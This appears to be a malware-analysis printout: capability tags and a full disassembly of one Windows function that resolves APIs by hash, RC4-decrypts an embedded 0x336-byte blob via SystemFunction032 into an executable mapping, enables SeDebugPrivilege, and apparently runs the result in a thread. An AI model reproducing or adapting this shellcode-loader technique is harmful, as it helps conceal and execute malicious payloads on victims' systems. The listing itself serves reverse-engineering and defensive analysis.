Function at 0x1400012d0
Capabilities:
Acquire debug privileges
Encrypt data using rc4 via systemfunction032

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov ecx, 0xf111e22
call section..text
mov edx, 0xbd55b235
mov rcx, rax
mov r14, rax
call fcn.140001160
mov r15, rax
lea rcx, str.ADVAPI32.DLL
call r15
mov ecx, 0xe359c6b
call section..text
lea rcx, str.Advapi32
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
xor r12d, r12d
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov rdi, rax
mov dword [rsp + 0x20], 0x336
lea rcx, [rdx - 1]
lea r8d, [r12 + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov edx, 0x222c9657
mov rcx, r14
mov rbx, rax
call fcn.140001160
xor r9d, r9d
mov qword [rsp + 0x20], 0x336
xor r8d, r8d
lea edx, [r12 + 0x22]
mov rcx, rbx
call rax
mov rsi, rax
mov dword [rsp + 0x38], 0x10
lea rax, [0x1400053b8]
mov dword [rsp + 0x3c], 0x10
lea rbx, [0x140005080]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x48], 0x336
mov dword [rsp + 0x4c], 0x336
call rdi
lea rcx, [0x1400053b5]
mov r8d, r12d
lea rax, [rsi + 0x335]
cmp rsi, rcx
ja 0x140001407
cmp rax, rbx
jae 0x14000149c
mov rdx, rsi
mov rax, rbx
mov ecx, 6
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001412
movups xmm0, xmmword [rax]
mov ecx, dword [rax + 0x30]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], ecx
movzx ecx, word [rax + 0x34]
mov word [rdx + 0x34], cx
nop dword [rax]
inc r8d
cmp r8d, 0x336
jb 0x140001490
movsxd rax, r8d
cmp rax, 0x336
jae 0x1400014c6
lea rcx, [rax + rsi]
sub rbx, rsi
nop
movzx eax, byte [rcx + rbx]
inc r8d
mov byte [rcx], al
lea rcx, [rcx + 1]
cmp r8d, 0x336
jb 0x1400014b0
lea rcx, str.PSAPI.DLL
call r15
mov ecx, 0xbbf177e
call section..text
mov edx, 0x8c9583bb
mov qword [rsp + 0x30], r12
mov rcx, rbp
mov qword [rsp + 0x58], r12
call fcn.140001160
mov edx, 0x74dd8ccb
mov rcx, r14
mov rbx, rax
call fcn.140001160
call rax
mov rcx, rax
lea r8, [rsp + 0x30]
mov edx, 0x20
call rbx
test eax, eax
je 0x14000157c
mov edx, 0xb9c9b828
mov rcx, rbp
call fcn.140001160
lea r8, [rsp + 0x58]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call rax
test eax, eax
je 0x14000157c
mov rax, qword [rsp + 0x58]
mov edx, 0xcc68236f
mov rcx, rbp
mov qword [rsp + 0x64], rax
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x6c], 2
call fcn.140001160
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x60]
mov r9d, 0x10
mov qword [rsp + 0x28], r12
xor edx, edx
mov qword [rsp + 0x20], r12
call rax
mov edx, 0xdc9eb575
mov rcx, r14
call fcn.140001160
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8, rsi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call rax
mov edx, 0x6b82325e
mov rcx, r14
mov rbx, rax
call fcn.140001160
mov edx, 0xffffffff
mov rcx, rbx
call rax
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001600
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret